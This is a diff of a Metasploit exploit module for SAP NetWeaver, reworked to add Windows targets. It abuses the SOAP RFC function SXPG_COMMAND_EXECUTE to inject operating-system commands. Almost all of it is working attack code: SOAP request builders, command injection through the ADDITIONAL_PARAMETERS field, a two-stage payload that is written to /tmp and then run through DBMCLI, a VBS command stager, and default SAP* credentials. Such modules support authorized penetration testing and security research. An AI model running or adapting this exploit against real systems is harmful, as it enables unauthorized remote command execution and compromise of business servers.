24
24
25
25
require 'msf/core'
26
26
27
- class Metasploit3 < Msf ::Exploit ::Remote
28
- Rank = ExcellentRanking
27
+ class Metasploit4 < Msf ::Exploit ::Remote
28
+
29
+ Rank = GreatRanking
30
+
31
+ include Msf ::Exploit ::CmdStagerVBS
32
+ include Msf ::Exploit ::EXE
29
33
include Msf ::Exploit ::Remote ::HttpClient
30
34
31
35
def initialize
32
36
super (
33
- 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection ' ,
37
+ 'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution ' ,
34
38
'Description' => %q{
35
- This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the
36
- use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
37
- SAP Note: 1341333 and 1764994.
38
- } ,
39
+ This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
40
+ SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
41
+ privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
42
+ successfully on Windows 2008 64 bits and Linux 64 bits platforms.
43
+ } ,
39
44
'References' =>
40
45
[
41
46
[ 'URL' , 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ] ,
42
47
[ 'URL' , 'https://service.sap.com/sap/support/notes/1764994' ] ,
43
48
[ 'URL' , 'https://service.sap.com/sap/support/notes/1341333' ]
44
49
] ,
45
50
'DisclosureDate' => 'May 8 2012' ,
46
- 'Arch' => ARCH_CMD ,
47
- 'Compat' =>
48
- {
49
- 'PayloadType' => 'cmd'
50
- } ,
51
- 'Platform' => [ 'unix' , 'linux' ] ,
52
- 'Targets' =>
53
- [
54
- [ 'SAP AS on Linux' , { } ]
51
+ 'Platform' => [ 'win' , 'unix' ] ,
52
+ 'Targets' => [
53
+ [ 'Linux' ,
54
+ {
55
+ 'Arch' => ARCH_CMD ,
56
+ 'Platform' => 'unix'
57
+ #'Payload' =>
58
+ #{
59
+ #'DisableNops' => true,
60
+ #'Space' => 232,
61
+ #'Compat' =>
62
+ #{
63
+ #'PayloadType' => 'cmd',
64
+ #'RequiredCmd' => 'perl ruby',
65
+ #}
66
+ #}
67
+ }
55
68
] ,
56
- 'DefaultTarget' => 0 ,
57
- 'Privileged' => true ,
69
+ [ 'Windows x64' ,
70
+ {
71
+ 'Arch' => ARCH_X86_64 ,
72
+ 'Platform' => 'win'
73
+ }
74
+ ]
75
+ ] ,
76
+ 'DefaultTarget' => 0 ,
77
+ 'Privileged' => false ,
58
78
'Author' =>
59
79
[
60
80
'nmonkee'
61
81
] ,
62
82
'License' => MSF_LICENSE
63
- )
83
+ )
64
84
register_options (
65
85
[
66
86
Opt ::RPORT ( 8000 ) ,
67
87
OptString . new ( 'CLIENT' , [ true , 'SAP Client' , '001' ] ) ,
68
88
OptString . new ( 'USERNAME' , [ true , 'Username' , 'SAP*' ] ) ,
69
- OptString . new ( 'PASSWORD' , [ true , 'Password' , '06071992' ] ) ,
70
- OptEnum . new ( 'OS' , [ true , 'Target OS' , "linux" , [ 'linux' ] ] ) ,
89
+ OptString . new ( 'PASSWORD' , [ true , 'Password' , '06071992' ] )
71
90
] , self . class )
91
+ register_advanced_options (
92
+ [
93
+ OptInt . new ( 'PAYLOAD_SPLIT' , [ true , 'Size of payload segments (Windows Target)' , 250 ] ) ,
94
+ ] , self . class )
95
+ end
96
+
97
+ def send_soap_request ( data )
98
+ res = send_request_cgi ( {
99
+ 'uri' => '/sap/bc/soap/rfc' ,
100
+ 'method' => 'POST' ,
101
+ 'data' => data ,
102
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
103
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
104
+ 'ctype' => 'text/xml; charset=UTF-8' ,
105
+ 'headers' => {
106
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
107
+ } ,
108
+ 'vars_get' => {
109
+ 'sap-client' => datastore [ 'CLIENT' ] ,
110
+ 'sap-language' => 'EN'
111
+ }
112
+ } )
113
+ return res
114
+ end
115
+
116
+ def build_soap_request ( command , sap_command , sap_os )
117
+ data = "<?xml version=\" 1.0\" encoding=\" utf-8\" ?>\r \n "
118
+ data << "<env:Envelope xmlns:xsd=\" http://www.w3.org/2001/XMLSchema\" xmlns:env=\" http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\" http://www.w3.org/2001/XMLSchema-instance\" >\r \n "
119
+ data << "<env:Body>\r \n "
120
+ data << "<n1:SXPG_COMMAND_EXECUTE xmlns:n1=\" urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\" http://schemas.xmlsoap.org/soap/encoding/\" >\r \n "
121
+ data << "<ADDITIONAL_PARAMETERS>#{ command } </ADDITIONAL_PARAMETERS>\r \n "
122
+ data << "<COMMANDNAME>#{ sap_command } </COMMANDNAME>\r \n "
123
+ data << "<OPERATINGSYSTEM>#{ sap_os } </OPERATINGSYSTEM>\r \n "
124
+ data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>\r \n "
125
+ data << "</n1:SXPG_COMMAND_EXECUTE>\r \n "
126
+ data << "</env:Body>\r \n "
127
+ data << "</env:Envelope>"
128
+
129
+ return data
130
+ end
131
+
132
+ def check
133
+ data = rand_text_alphanumeric ( 4 + rand ( 4 ) )
134
+ res = send_soap_request ( data )
135
+ if res and res . code == 500 and res . body =~ /faultstring/
136
+ return Exploit ::CheckCode ::Detected
137
+ end
138
+ return Exploit ::CheckCode ::Safe
72
139
end
73
140
74
141
def exploit
75
- file = Rex ::Text . rand_text_alphanumeric ( 5 )
76
- ip = rhost
77
- payload_ = create_payload ( 1 , file )
78
- exec_command ( ip , payload_ )
79
- payload_ = create_payload ( 2 , file )
80
- exec_command ( ip , payload_ )
142
+ if target . name =~ /Windows/
143
+ linemax = datastore [ 'PAYLOAD_SPLIT' ]
144
+ vprint_status ( "#{ rhost } :#{ rport } - Using custom payload size of #{ linemax } " ) if linemax != 250
145
+ print_status ( "#{ rhost } :#{ rport } - Sending SOAP SXPG_COMMAND_EXECUTE request" )
146
+ execute_cmdstager ( { :delay => 0.35 , :linemax => linemax } )
147
+ elsif target . name =~ /Linux/
148
+ file = rand_text_alphanumeric ( 5 )
149
+ stage_one = create_unix_payload ( 1 , file )
150
+ print_status ( "#{ rhost } :#{ rport } - Dumping the payload to /tmp/#{ file } ..." )
151
+ res = send_soap_request ( stage_one )
152
+ if res and res . code == 200 and res . body =~ /External program terminated/
153
+ print_good ( "#{ rhost } :#{ rport } - Payload dump was successful" )
154
+ else
155
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Payload dump failed" )
156
+ end
157
+ stage_two = create_unix_payload ( 2 , file )
158
+ print_status ( "#{ rhost } :#{ rport } - Executing /tmp/#{ file } ..." )
159
+ send_soap_request ( stage_two )
160
+ end
81
161
end
82
162
83
- def create_payload ( num , file )
163
+ def create_unix_payload ( stage , file )
84
164
command = ""
85
- if datastore [ 'OS' ] . downcase == "linux"
86
- if num == 1
165
+ if target . name =~ /Linux/
166
+ if stage == 1
167
+ my_payload = payload . encoded . gsub ( " " , "\t " )
168
+ my_payload . gsub! ( "&" , "&" )
169
+ my_payload . gsub! ( "<" , "<" )
87
170
command = "-o /tmp/" + file + " -n pwnie" + "\n !"
88
- tmp_ = payload . encoded . gsub ( " " , "\t " )
89
- tmp__ = tmp_ . gsub ( "&" , "&" )
90
- command << tmp__ . gsub ( "<" , "<" )
171
+ command << my_payload
91
172
command << "\n "
173
+ elsif stage == 2
174
+ command = "-ic /tmp/" + file
92
175
end
93
- command = "-ic /tmp/" + file if num == 2
176
+
94
177
end
95
- data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r \n "
96
- data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r \n "
97
- data << '<env:Body>' + "\r \n "
98
- data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r \n "
99
- data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r \n "
100
- data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r \n "
101
- data << '<OPERATINGSYSTEM>ANYOS</OPERATINGSYSTEM>' + "\r \n "
102
- data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r \n "
103
- data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r \n "
104
- data << '</env:Body>' + "\r \n "
105
- data << '</env:Envelope>' + "\r \n "
106
- return data
178
+
179
+ return build_soap_request ( command . to_s , "DBMCLI" , "ANYOS" )
107
180
end
108
181
109
- def exec_command ( ip , data )
110
- user_pass = Rex ::Text . encode_base64 ( datastore [ 'USERNAME' ] + ":" + datastore [ 'PASSWORD' ] )
111
- print_status ( "[SAP] #{ ip } :#{ rport } - sending SOAP SXPG_COMMAND_EXECUTE request" )
182
+ def execute_command ( cmd , opts )
183
+ command = cmd . gsub ( /&/ , "&" )
184
+ command . gsub! ( /%TEMP%\\ / , "" )
185
+ data = build_soap_request ( "&#{ command } " , "LIST_DB2DUMP" , "Windows NT" )
112
186
begin
113
- res = send_request_raw (
114
- {
115
- 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN' ,
116
- 'method' => 'POST' ,
117
- 'data' => data ,
118
- 'headers' => {
119
- 'Content-Length' => data . size . to_s ,
120
- 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
121
- 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
122
- 'Authorization' => 'Basic ' + user_pass ,
123
- 'Content-Type' => 'text/xml; charset=UTF-8'
124
- }
125
- } , 45 )
126
- if res
127
- if res . code != 500 and res . code != 200
128
- print_error ( "[SAP] #{ ip } :#{ rport } - something went wrong!" )
129
- return
130
- elsif res . body =~ /faultstring/
131
- error = res . body . scan ( %r{<faultstring>(.*?)</faultstring>} ) . flatten
187
+ res = send_soap_request ( data )
188
+ if res and res . code == 200
189
+ return
190
+ else
191
+ if res and res . body =~ /faultstring/
192
+ error = res . body . scan ( %r{<faultstring>(.*?)</faultstring>} )
132
193
0 . upto ( error . length -1 ) do |i |
133
- print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
134
- end
135
- return
136
- end
137
- output = res . body . scan ( %r{<MESSAGE>([^<]+)</MESSAGE>} ) . flatten
138
- result = [ ]
139
- 0 . upto ( output . length -1 ) do |i |
140
- if output [ i ] =~ /E[rR][rR]/ || output [ i ] =~ /---/ || output [ i ] =~ /for database \( /
141
- #nothing
142
- elsif output [ i ] =~ /unknown host/ || output [ i ] =~ /; \( see/ || output [ i ] =~ /returned with/
143
- #nothing
144
- elsif output [ i ] =~ /External program terminated with exit code/
145
- #nothing
146
- else
147
- temp = output [ i ] . to_s . gsub ( ">" , ">" )
148
- temp_ = temp . gsub ( """ , "\" " )
149
- temp__ = temp_ . gsub ( "'" , "'" )
150
- result << temp__ + "\n "
194
+ vprint_error ( "#{ rhost } :#{ rport } - Error #{ error [ i ] } " )
151
195
end
152
196
end
153
- return
154
- else
155
- print_error ( "[SAP] #{ ip } :#{ rport } - no response" )
197
+ print_status ( "#{ res . code } \n #{ res . body } " )
198
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Error injecting command" )
156
199
end
157
200
rescue ::Rex ::ConnectionError
158
- print_error ( "[SAP] #{ ip } :#{ rport } - Unable to connect" )
159
- return
201
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ rhost } :#{ rport } - Unable to connect" )
160
202
end
161
203
end
162
- end
204
+ end
0 commit comments